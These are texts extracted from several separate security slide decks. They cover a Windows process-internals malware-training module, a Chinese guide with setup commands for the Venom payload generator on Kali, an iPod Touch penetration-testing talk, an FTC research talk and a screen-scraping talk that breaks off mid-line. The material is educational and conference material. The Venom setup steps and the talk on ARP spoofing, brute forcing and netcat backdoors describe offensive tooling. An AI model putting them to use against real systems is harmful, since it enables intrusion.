Concerns Performance Break Something Poorly Coded Applications What else? Benefits Shields from … Casual Attackers Automated Assaults Oblique Threats Protects … Unmanaged Unpatched Unhardened Defeats … canned exploits What’s Next More Platforms Open-Source Router Firmware Linux-Based Switches Production Trials Talk to vendors Accurate target identification is key to a successful attack Identification that is way too easy for an attacker to perform Let’s change that with fingerprint prevention I’ve proven that it can be done Now, we just have to make it happen Final Thoughts Proof of Concept SHA1 hash is 289256c1b46f7f7443527364ad4a75ee0a072160 Updates can be found at http://idguard.sourceforge.net/ Links http://www.wisegeek.com/what-is-packet-mangling.htm http://www.openbsd.gr/faq/pf/scrub.html http://www.linuxsecurity.com.br/info/fw/PacketManglingwithiptables.doc http://chdir.org/~nico/scrub/ http://www.cisco.com/en/US/docs/security/asa/asa82/configuration/guid e/conns_tcpnorm.pdf http://www.cisco.com/en/US/docs/interfaces_modules/services_modules/ ace/v3.00_A2/configuration/security/guide/tcpipnrm.pdf http://www.sans.org/reading_room/whitepapers/intrusion/packet-level- normalisation_1128 http://nmap.org/book/osdetect-methods.html http://rcp100.sourceforge.net http://wiki.openwrt.org/toh/mikrotik/rb450g http://wiki.openwrt.org/doc/howto/buildroot.exigence http://wiki.openwrt.org/doc/howto/build http://wiki.openwrt.org/doc/howto/generic.flashing http://wiki.openwrt.org/doc/devel/crosscompile Special Thanks Aditiya Sood Kenny Nguyen and E-CQURITY Kevin Fogarty Kathy Gillette Nick Pruitt
pdf
Module 1 A journey from high level languages, through assembly, to the running process https://github.com/hasherezade/malware_training_vol1 Running executables: process Process: basics Process • When we run an EXE file, the system creates a Process Process • A process is a container for all the resources that the application needs to run • A process by itself doesn’t run code: threads execute it • Each process has its own, private address space, that is independent from other processes (different processes may have different memory content at the same addreses) • Has its own access token, defining its security context Process • Types of processes on Windows: • System process • Subsystem process • Service • User processes (our applications) Processes on Windows From: „Windows Kernel Programming” by Pavel Yosifovich Process • A process is identified by its PID (Process ID) • unique throughout the system at the time of running • after the process terminates, its PID may be reused by a new process • Each process has one or more threads. They are identified by Thread IDs. • Thread IDs, same as process IDs, are unique throughout the system • After the thread terminates, its ID may be reused • Processes may access each other (via handles), if their security context allows it HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId // <- The Process ID ); Process • Process contains: • Mapped PE images (the main EXE + dependencies: DLLs with needed imports) • The workingset (all the memory that is used during its execution) • Threads: at least one (structures for execution of the code) • Open Handles (managing access to needed objects: i.e. Files, Mutexes, Events) • Access Tokens (representing security information, and specifying privileges of the process and threads) Process • Contains PE files in a virtual format MyApp.exe MyApp.exe NTDLL.DLL Kernel32.DLL Process Executable file PE on the disk: Raw format PE in memory: Virtual format <allocated memory> <allocated memory> Process • Contains thread(s) running the code – example: MyApp.exe NTDLL.DLL Kernel32.DLL PID = 789 Communication with the C2 server Injecting in the running processes TID = 4278 TID = 985 TID = 223 Main thread (started at Entry Point of application) Process initialization Process Initialization • What happens when we create a process? BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); Process Initialization 1. Create a new process object and allocation of the memory 2. Map NTDLL.dll and the initial EXE into the memory (MEM_IMAGE) 3. Create a first thread and allocate a space for it 4. Resume the first thread: NTDLL.LdrpInitialize function is called 5. NTDLL.LdprInitialization function: • Load all imported DLLs -> run each’s DllMain with DLL_PROCESS_ATTACH • Call Kernel32.BaseProcessStart 6. Kernel32.BaseProcessStart: calls initial EXE’s Entry Point Process Initialization Windows Loader CreateProcess - Creates process and allocates a virtual memory for its use - Loads the initial EXE and NDTLL.DLL - Creates a first thread and the stack for its use Windows Loader LdrpInitialize - Called when the first thread resumes - Goes through the Import Table, loads all required DLLs, and initializes them (calls DllMain with DLL_PROCESS_ATTACH) Windows Loader BaseProcessStart - Call Entry Point of the original application The run EXE Entry Point - Execute the code at the Entry Point Process Initialization Windows Loader CreateProcess - Creates process and allocates a virtual memory for its use - Loads the initial EXE and NDTLL.DLL - Creates a first thread and the stack for its use Windows Loader LdrpInitialize - Called when the first thread resumes - Goes through the Import Table, loads all required DLLs, and initializes them (calls DllMain with DLL_PROCESS_ATTACH) Windows Loader BaseProcessStart - Call Entry Point of the original application The run EXE Entry Point - Execute the code at the Entry Point Process Initialization A process created in a suspended mode – 64 bit example (viewed by Process Hacker) Before the first thread is run, only: • the main EXE • NTDLL.DLL are mapped Process Initialization • Notice that if we create a process as suspended, only the first part of the initialization process was run... • This is important for Process Hollowing, that we will review in details later... Threads Thread • Thread is an entity responsible for executing the code Main thread (started at Entry Point of application) TID = 223 MyApp.exe MyApp.exe Thread • A thread contains: Context (state of the processor), 2 stacks, TLS (Thread Local Storage), may also has its own security token Main thread (started at Entry Point of application) TID = 223 Kernel Mode stack User Mode stack Context Thread Management • Threads are executed by the processor, and managed by the Operating System (kernel mode): • Scheduler: a kernel mode controler, that decides which thread gets to run for how long and performing the context switch • Additionally, Windows (only 64-bit) implements also User Mode Scheduling (UMS). It is it an optimization to make the operation of thread switching less resource-consuming. UMS threads differ from classic threads. They can switch context between themselves in user mode, while from the kernel perspective, it looks like one thread is running. Due to this, concurrent UMS Threads cannot run on multiple processors. Thread Context • Context switching: • When the processor is switched to another thread, first its context is saved • The thread context is a state of the processor when it was run the last time before the switch (saved snapshot with all the registers) • stack space is used to save off current state of thread when context switched • WindowsAPI allows to retrieve the thread context (but first we need to SuspendThread): BOOL GetThreadContext( HANDLE hThread, LPCONTEXT lpContext ); Thread Context • Example Main thread (started at Entry Point of application) TID = 223 MyApp.exe MyApp.exe EPROCESS, PEB, TEB... Stuctures for Process Management • Process is managed by the Operating System • To manage the process, Windows uses the following structures: • EPROCESS, KPROCESS, ETHREAD, KTHREAD, PEB, TEB... Stuctures for Process Management • EPROCESS – the basic kernel-mode structure representing a process • Contains a linklist of all the threads belonging to the process • Contains a pointer to the PEB (Process Environment Block) that is available from usermode • ETHREAD - the basic kernel-mode structure representing a thread • Contains a pointer to KTHREAD • Links to the TEB (Thread Environment Block) that is available from usermode Obtaining PEB Kernel Mode User Mode Obtaining TEB Kernel Mode User Mode Via registry: FS (32 bit) GS (64 bit) PEB and TEB • We can see PEB and TEB(s) mapped inside the process space (usually towards the end of the addresses) Exercise • Following the given instructions, walk through the PEB and TEB using WinDbg. Familiarize yourself with the fields.
pdf
关于如何在kali-2019.4上安装 Venom 我尝试在最新版的kali-2019.4上面安装venom,但是安装软件依赖的时候提示超 时,无法继续安装,如下图 后面在各大安全群寻求帮助,都没有答复,而后只能向国外友人询问,他告诉我最 新版kali无法安装是因为没有安装zenity 安装 成功截图,生成exe均没有问题 安装zenity apt-get install zenity 下载源码 git clone https://github.com/r00t-3xp10it/venom.git 设定执行许可 cd venom-main sudo find ./ -name "*.sh" -exec chmod +x {} \; sudo find ./ -name "*.py" -exec chmod +x {} \; 安装所有依赖项 cd aux && sudo ./setup.sh 运行主工具 sudo ./venom.sh
pdf
Hacking WITH the iPod Touch Thomas Wilhelm a.k.a. Hacker Junkie 1 Personal Experience Penetration Tester / Project Manager Fortune 20 Company Internal and External System Network Architectures Certifications: ISSMP, CISSP, SCSECA, SCNA, SCSA, NSA-IEM, NSA-IAM 2 Personal Experience Associate Professor Colorado Technical University What I Teach: Information System Security Undergrads and Graduate Programs 3 Personal Experience Masters Degrees: Computer Science, Management (InfoSec) Doctoral Student - Capella University Information Technology Specialization: Information Assurance & Security National Center of Academic Excellence in Information Assurance Education (CAEIAE) 4 Personal Experience Author 5 Objectives Jailbreaking the iPod Touch / iPhone Using iPod Touch as PenTest Platform Hacking with the iPod Touch iPod Touch as an Attack Vector Conclusion 6 Jailbreaking Legal Issues Jailbreaking Tools 7 Jailbreaking Legal Issues EFF Proposed Exception Proposed Class #1: Computer programs that enable wireless telephone handsets to execute lawfully obtained software applications, where circumvention is accomplished for the sole purpose of enabling interoperability of such applications with computer programs on the telephone handset. - http://www.copyright.gov/1201/2008/comments/lohmann-fred.pdf 8 Jailbreaking Legal Issues DMCA Violation “Apple is opposed to the proposed Class #1 exemption because it will destroy the technological protection of Apple’s key copyrighted computer programs in the iPhone™ device itself and of copyrighted content owned by Apple that plays on the iPhone, resulting in copyright infringement, potential damage to the device and other potential harmful physical effects, adverse effects on the functioning of the device, and breach of contract.” - http://www.copyright.gov/1201/2008/responses/apple-inc-31.pdf 9 Jailbreaking Legal Issues Outcome? Copyright Office will be making a decision in October regarding exception Apple’s License Agreement still in effect, regardless of outcome - iPhone: http://images.apple.com/legal/sla/docs/iphone.pdf - iTouch: http://images.apple.com/legal/sla/docs/ipodtouchlicense.pdf 10 Jailbreaking Legal Issues System & Network Hacking Standard iPhone / iPod Touch is fairly neutered Bad Laws: Sierra Corporate Design, Inc. v. David Ritz - “Ritz's behavior in conducting a zone transfer was unauthorized within the meaning of the North Dakota Computer Crime Law” - Judge Rothe-Seeger, Case number 09-05-C-01660 $63K judgement 11 Jailbreaking Jailbreaking Tools QuickPwn.com 12 Jailbreaking Jailbreaking Tools Default Install Cydia Installer First Things First... OpenSSH / TouchTerm 13 iTouch as PenTest Platform Operating System Package Managers / Repositories System Tools Usability 14 iTouch as PenTest Platform Operating System Darwin - Kernel Version 9.4.1 Open Source POSIX compliant Includes code from NEXTSTEP and FreeBSD Single UNIX Specification version 3 (SUSv3) Compliant Conclusion: iPod Touch == UNIX System 15 iTouch as PenTest Platform Package Managers / Repositories Cydia Port of Debian APT 30+ repositories Apple’s App Store Download applications from the iTunes Store 16 iTouch as PenTest Platform System Tools Development Platform GCC - GNU Compiler Collection Headers available via Cydia 17 iTouch as PenTest Platform System Tools Scripting Languages Perl Python Ruby (on Rails) ...and of course shells 18 iTouch as PenTest Platform System Tools Network Tools OpenSSH Inetutils (ftp, inetd, ping, rlogin, telnet, tftp) Network-cmds (arp, ifconfig, netstat, route, traceroute) Wget 19 iTouch as PenTest Platform System Tools Network Tools (continued) Stealth MAC Stunnel TCPdump 20 iTouch as PenTest Platform Usability Shell Window 13 Lines 57 characters 21 iTouch as PenTest Platform Usability Keyboard takes up a lot of real estate Solution: Remote SSH (when possible) 22 Hacking with the iPod Touch Statistics Information Gathering Vulnerability Identification Vulnerability Exploitation Web Hacking Privilege Escalation Maintaining Access Demonstration 23 Hacking with the iPod Touch Statistics SECTOOLS.ORG 9 / Top 20 Tools (+ Nmap) JTR BENCHMARK: FreeBSD MD5 MacBook Pro 2.8 GHz Intel Core Duo 7674 c/s real, 7690 c/s virtual iPod Touch 577 c/s real, 617 c/s virtual 24 Hacking with the iPod Touch Information Gathering Safari Nmap System & Application Footprinting Banner Grabbing Telnet / Netcat Verification & Enumeration of Nmap Results 25 Hacking with the iPod Touch Vulnerability Identification Missing! No Vulnerability Scanners (possible Nessus tunnel?) Grabs Low Hanging Fruit... but saves a lot of time 26 Hacking with the iPod Touch Vulnerability Exploitation Metasploit Exploit Code & Shellcode Scapy Packet Manipulation 27 Hacking with the iPod Touch Web Hacking Nikto Web Server Scanner Medusa Application Access Brute Forcer (http.mod, web-form.mod) 28 Hacking with the iPod Touch Privilege Escalation Pirni ARP Spoofing and Network Sniffer Berkeley Packet Filter (example: "tcp dst port 80") John the Ripper Password Brute Force Attack Medusa Brute Force Network Authentication 29 Hacking with the iPod Touch Maintaining Access Netcat Read and Write Data Across Network Connections Backdoor / File Transfer OpenSSH Secure (Reverse) Shell Problem - Active Processes 30 Hacking with the iPod Touch Demonstration ARP Spoofing & Traffic Gathering 31 iTouch as an Attack Vector Rogue System Social Engineering 32 iTouch as an Attack Vector Rogue System Advantages Small, Compact, Innocuous Disadvantages Power Wireless Only $299 Base Price (More than I paid for my EeePC) 33 iTouch as an Attack Vector Demonstration Rogue System 34 iTouch as an Attack Vector Social Engineering iPod Touch vs. Laptop Assume it’s a Phone Unaware of its use as a hacking platform “Texting” is socially acceptable Compact - Easy to Hide 35 iTouch as an Attack Vector Demonstration Social Engineering 36 Conclusion Personal Thoughts Shout-Outs Reminder List of Tools 37 Conclusion Personal Thoughts Worthwhile Hacking Platform? What Could be Better? iPod Touch vs. iPhone? What Does the Future Hold? 38 Conclusion Shout Outs DC303 - Robot Mafia Sudosu - Colorado Tech Security Club My Family 39 Conclusion Links forums.heorot.net quickpwn.com cydia.saurik.com developer.apple.com 40 Conclusion (Gentle) Reminder 41 Conclusion List of Tools adv-cmds APT AutomaticSSH Backgrounder Base Structure Berkeley DB Bourne Again Shell bzip2 Core Utilities csu Cydia Installer Darwin CC Tools Darwin Tools Debian Packager Dev-Team developer-cmds Diff Utilities diskdev-cmds dns2tcp Docs Find Utilities Gawk gettext GNU C Compiler GNU Cryptography GNU Debugger GNU Privacy Guard GnuPG Errors grep gzip iBrowser inetutils iPhone Firmware less libffi libgcc libnet libpcap libutil libxml2 libxslt Link Identity Editor Make mDNSResponder Metasploit Mobile Substrate nano Netatalk netcat network-cmds New Curses Nmap OpenSSH OpenSSL perl pcre pirni Python readline Ruby RubyGems SBSettings sed shell-cmds SpoofMAC Stealth MAC Stumbler Plus Stunnel Sudo system-cmds Tape Archive tcpdump unzip Vi IMproved (VIM) wget whois WinterBoard XML Parser Toolkit Added Manually: libssh2 john the ripper scapy medusa Apple Store: TouchTerm Ping Speed Test 42 Hacking WITH the iPod Touch Thank you for attending! Q&A Session Afterwards... Punch and Pie. 43
pdf
RESEARCH ON THE MACHINES HELP THE FTC PROTECT PRIVACY AND SECURITY Humans User: Terrell McSweeny Function: Commissioner, FTC @TMcSweenyFTC User: Lorrie Cranor Function: Chief Technologist, FTC @lorrietweet Machines Speech Schematics Privacy & Security Protections Now Issues of the Day We Need Your Help! How does the FTC respond to the Rise of the Machines? When machines are everywhere? What does the FTC do? Unfair Deceptive What do “unfair” and “deceptive” mean? •  Unfair = –  Substantial Injury to Consumers –  Unavoidable –  Not Outweighed Procompetitive By Benefits •  Deceptive = –  Act Likely to Mislead Consumers –  Unreasonable –  Material For Example … Facebook promised to keep personal info safe, but allowed 3rd party access Google promised Gmail contacts wouldn’t be used elsewhere, but used them in its social-media site, Buzz Snapchat promised images would disappear, but kept them For Example … Wyndham unfairly exposed consumers’ payment-card info in three separate data breaches ORACLE promised its updates would protect consumers, but didn’t protect older versions of Java SE. ASUS promised its routers would protect local network against attacks, but failed to update them enough How do we decide what cases to bring? Research Media Complaints Current Issues Mobile phone account hijacking and new account fraud Number of incidents reported % of identity theft reports January 2013 1,083 3.2% January 2016 2,658 6.3% Reported to FTC Consumer Sentinel Network PII FCC NHTSA DOE FAA HIPPA Defenseless Data FACTA ECOA COPPA FCR A FTC Act FTC Sept.&9,&2015&–&San&Francisco& Nov.&5,&2015&-&Aus;n& Feb.&9,&2016&-&Sea>le& June&15,&2016&-&Chicago& 2017&–&Stay&Tuned& Outreach Office of Technology Research & Investigation 2016 Fall Technology Series Ransomware September 7 Drones October 13 Smart TV December 7 ftc.gov/tech Putting Disclosures to the Test September 15, 2016 ftc.gov/tech ftc.gov/tech January 12, 2017 Research Wish List: What is the FTC looking for? We want… … Research on Privacy & Security •  What are the best ways to assess the risks posed by breaches and vulnerabilities? •  What can be done to protect consumers from ransomware, malvertising, etc? •  How can we tie exposed data to a specific breach? •  Can we make certain attacks less profitable? •  How can we better spot fraud? ….Research on IoT Devices •  How can IoT device manufacturers and platforms ensure better IoT security? •  What defensive measures can prevent one vulnerable IoT device from compromising other devices on the same network? ….Research on Emerging Trends •  How can sensor-based monitoring technologies protect the privacy of consumers, particularly children? •  How can engineers better isolate critical systems, such as a connected car’s CAN bus? •  When and how do consumers encounter bots, and are they aware of that fact? •  Does virtual reality raise new fraud, deception, or other consumer protection concerns? … Research on New Tools & Techniques •  Allow users to control their personal information across contexts •  Allow consumers to observe behavior and communication of their smart devices •  Analyze apps to determine practices associated with third-party libraries •  Detect discriminatory algorithms •  Identify tracking and cross-device tracking •  Identify vulnerable IoT devices What happens to the findings you submit? Send us your papers [email protected] Tell us what you’ve discovered Come to our workshops ftc.gov/tech We Want You! Federal Trade Commission (Version 2016.8) C:\DefCon\hackerInput.exe >… #Any questions? #Learn more at ftc.gov/tech #Contact us @TechFTC
pdf
DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Agenda TODAY'S AGENDA DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Agenda TODAY'S AGENDA Review Basic Review Basic S CREEN S CRAPER S CREEN S CRAPER THEOR THEORY DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Agenda TODAY'S AGENDA Define what Define what Constitutes a “DIFFICULT CAS E” DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Agenda TODAY'S AGENDA Demo some Demo some ““S CREEN S CRAPER S CREEN S CRAPER TRICKS ” TRICKS ” DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Agenda TODAY'S AGENDA Look at ideas for Look at ideas for LARGE-S CALE LARGE-S CALE DEPLOYMENT DEPLOYMENT DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Agenda TODAY'S AGENDA S hare a S hare a HEARTWARMING HEARTWARMING MOMENT MOMENT DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Agenda TODAY'S AGENDA S hare a S hare a HEARTWARMING HEARTWARMING MOMENT MOMENT Featuring CAPTCHAs! DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Goals of this Talk Gain an understanding of some unusual (useful) web scraping techniques Your not going to walk away form here with ready-made solutions The goal is to expose you to some new ideas that you can apply to your specific situation DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Goals of this Talk Gain an understanding of some unusual (useful) web scraping techniques Your not going to walk away form here with ready-made solutions The goal is to expose you to some new ideas that you can apply to your specific situation DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Goals of this Talk Gain an understanding of some unusual (useful) web scraping techniques Your not going to walk away form here with ready-made solutions The goal is to expose you to some new ideas that you can apply to your specific situation DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ● For the purposes of this discussion, the solutions have to meet three criteria: Technologies & Tools Discussed DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ● For the purposes of this discussion, the solutions have to meet three criteria: #1. Completely customizable (hackable) Technologies & Tools Discussed DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ● For the purposes of this discussion, the solutions have to meet three criteria: #1. Completely customizable (hackable) #2. Free (or Open Source) Technologies & Tools Discussed DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ● For the purposes of this discussion, the solutions have to meet three criteria: #1. Completely customizable (hackable) #2. Free (or Open Source) #3. Platform independent Technologies & Tools Discussed DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] BIO: Michael Schrenk ● Minneapolis-based bot writer, consultant & author DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] BIO: Michael Schrenk ● Minneapolis-based bot writer, consultant & author ● (Soon to be) Las Vegas-based DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] BIO: Michael Schrenk ● Minneapolis-based bot writer, consultant & author ● (Soon to be) Las Vegas-based ● Work for clients in North America, Asia & Europe DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] BIO: Michael Schrenk ● Minneapolis-based bot writer, consultant & author ● (Soon to be) Las Vegas-based ● Work for clients in North America, Asia & Europe ● Active in my local DEFCON group DC612 DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] BIO: My DEFCON History 1 2 3 4 6 7 9 10 11 8 12 13 14 15 16 17 5 DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] BIO: 1 2 3 4 5 6 7 9 10 11 8 12 14 15 16 17 13 Talk: Introduction to Writing Spiders & Agents 1 2 3 4 6 7 9 10 11 8 12 13 14 15 16 17 5 My DEFCON History DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] BIO: 1 2 3 4 5 6 7 9 10 11 8 12 14 15 16 17 13 Talk: Online Corporate Intelligence 1 2 3 4 6 7 9 10 11 8 12 13 14 15 16 17 5 My DEFCON History DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] BIO: 1 2 3 4 5 6 7 9 10 11 8 12 14 15 16 17 13 Talk: The Fabulous Executable Image Exploit 1 2 3 4 6 7 9 10 11 8 12 13 14 15 16 17 5 My DEFCON History DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] BIO: 1 2 3 4 5 6 7 9 10 11 8 12 14 15 16 17 13 Today's Talk: Screen Scraper Tricks Difficult Cases 1 2 3 4 6 7 9 10 11 8 12 13 14 15 16 17 5 My DEFCON History DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] My book 2007, No Starch Press San Francisco DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Traditional strategies not obsolete ● Downloading, Parsing, Form submission ● Authentication, Stealth, Fault tolerance, etc. I won't spend a lot of time discussing these things Supplement traditional approaches with what you learn today DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Why are Screen Scrapers Important? Browsers (alone) are deficient Browsers are manual, error prone & time consuming tools Browsers do not make decisions for you Browsers are not proactive You won't excel by just doing what everyone else does Webbots & Screen scrapers offer competitive advantages DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Why are Screen Scrapers Important? Browsers (alone) are deficient Browsers are manual, error prone & time consuming tools Browsers do not make decisions for you Browsers are not proactive You won't excel by just doing what everyone else does Webbots & Screen scrapers offer competitive advantages DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Why are Screen Scrapers Important? Browsers (alone) are deficient Browsers are manual, error prone & time consuming tools Browsers do not make decisions for you Browsers are not proactive You won't excel by just doing what everyone else does Webbots & Screen scrapers offer competitive advantages DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Why are Screen Scrapers Important? Browsers (alone) are deficient Browsers are manual, error prone & time consuming tools Browsers do not make decisions for you Browsers are not proactive You won't excel by just doing what everyone else does Webbots & Screen scrapers offer competitive advantages DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Why are Screen Scrapers Important? Browsers (alone) are deficient Browsers are manual, error prone & time consuming tools Browsers do not make decisions for you Browsers are not proactive You won't excel by just doing what everyone else does Webbots & Screen scrapers offer competitive advantages DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Review of traditional screen scraping DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Review of traditional screen scraping ● Download a web page DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Review of traditional screen scraping ● Download a web page ● Manage cookies DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Review of traditional screen scraping ● Download a web page ● Manage cookies ● Facilitate (SSL) encryption DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Review of traditional screen scraping ● Download a web page ● Manage cookies ● Facilitate (SSL) encryption ● Handle server redirection DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Review of traditional screen scraping ● Download a web page ● Manage cookies ● Facilitate (SSL) encryption ● Handle server redirection ● Hide your identity with proxies & random timing DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Review of traditional screen scraping ● Download a web page ● Manage cookies ● Facilitate (SSL) encryption ● Handle server redirection ● Hide your identity with proxies & random timing ● Emulate form submission DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Review of traditional screen scraping ● Download a web page ● Manage cookies ● Facilitate (SSL) encryption ● Handle server redirection ● Hide your identity with proxies & random timing ● Emulate form submission ● Parse information from web pages & take action DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Review of traditional screen scraping ● Download a web page ● Manage cookies ● Facilitate (SSL) encryption ● Handle server redirection ● Hide your identity with proxies & random timing ● Emulate form submission ● Parse information from web pages & take action These tasks (except proxy functions) can be coded with the free PHP code libraries from my book http://www.schrenk.com/nostarch/webbots/DSP_download.php FREE DOWNLOAD DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] What constitutes a difficult case? Either by design—or by accident, web pages have become harder for webbots and screen scrapers to use. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] What constitutes a difficult case? Interstitial web pages ● Commonly used by travel sites when there is a long delay between a database query and a result set. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] JavaScript ● When used to dynamically modify forms before submission ● Usually solved with my book's online form analyzer. www.schrenk.com/nostarch/webbots/form_analyzer.php What constitutes a difficult case? DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] JavaScript ● AJAX used to populate pages Example: You cannot do a “view source” after first page of search results What constitutes a difficult case? DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Flash ● When used as a navigation technique. DHTML ● When used as a navigation technique Elaborate cookie behavior ● Sequence dependent cookies ● Strange JavaScript scripts What constitutes a difficult case? DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Randomly generated form element names <input Type = ”submit” Name = ”9S8DUF9S8DUFS98DFUS9 D8FUS9D8FHNSIDJFSIDFJNW98 3FHSJEFNSKUJFNWO83FJWOSEJ KFNSKU3FHS9A38FHIWwe832”> What constitutes a difficult case? DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] FACT: We're still tied to the browser Sometimes you can fool a server into delivering simpler data formats by pretending to be a mobile device. Often you need to find a way to emulate browser capability while maintaining full control DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] FACT: We're still tied to the browser Sometimes you can fool a server into delivering simpler data formats by pretending to be a mobile device. Often you need to find a way to emulate browser capability while maintaining full control DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Browser Macros ● Browser plug-in DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Browser Macros ● Browser plug-in ● Readily available DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Browser Macros ● Browser plug-in ● Readily available ● Solves all the “Difficult Cases” DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Browser Macros ● Browser plug-in ● Readily available ● Solves all the “Difficult Cases” ● Easily extended (hacked) beyond intended use DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Browser Macros ● Browser plug-in ● Readily available ● Solves all the issues mentioned ● Easily hacked beyond intended use iMacros solves all of the “difficult cases” because an actual browser is used. A few additional hacks make it a serious screen scraper tool. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Search for iMacros add-on at addons.mozilla.org INSTALL iMacros DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Once iMacros is installed Start the add-on And press Record RECORDING A MACRO DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Enter URL Fill form and press Save RECORDING A MACRO DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Press “Stop” RECORDING A MACRO DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Find the #Current.imm macro And press “Play” Your macro will replay! PLAYING A MACRO DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email 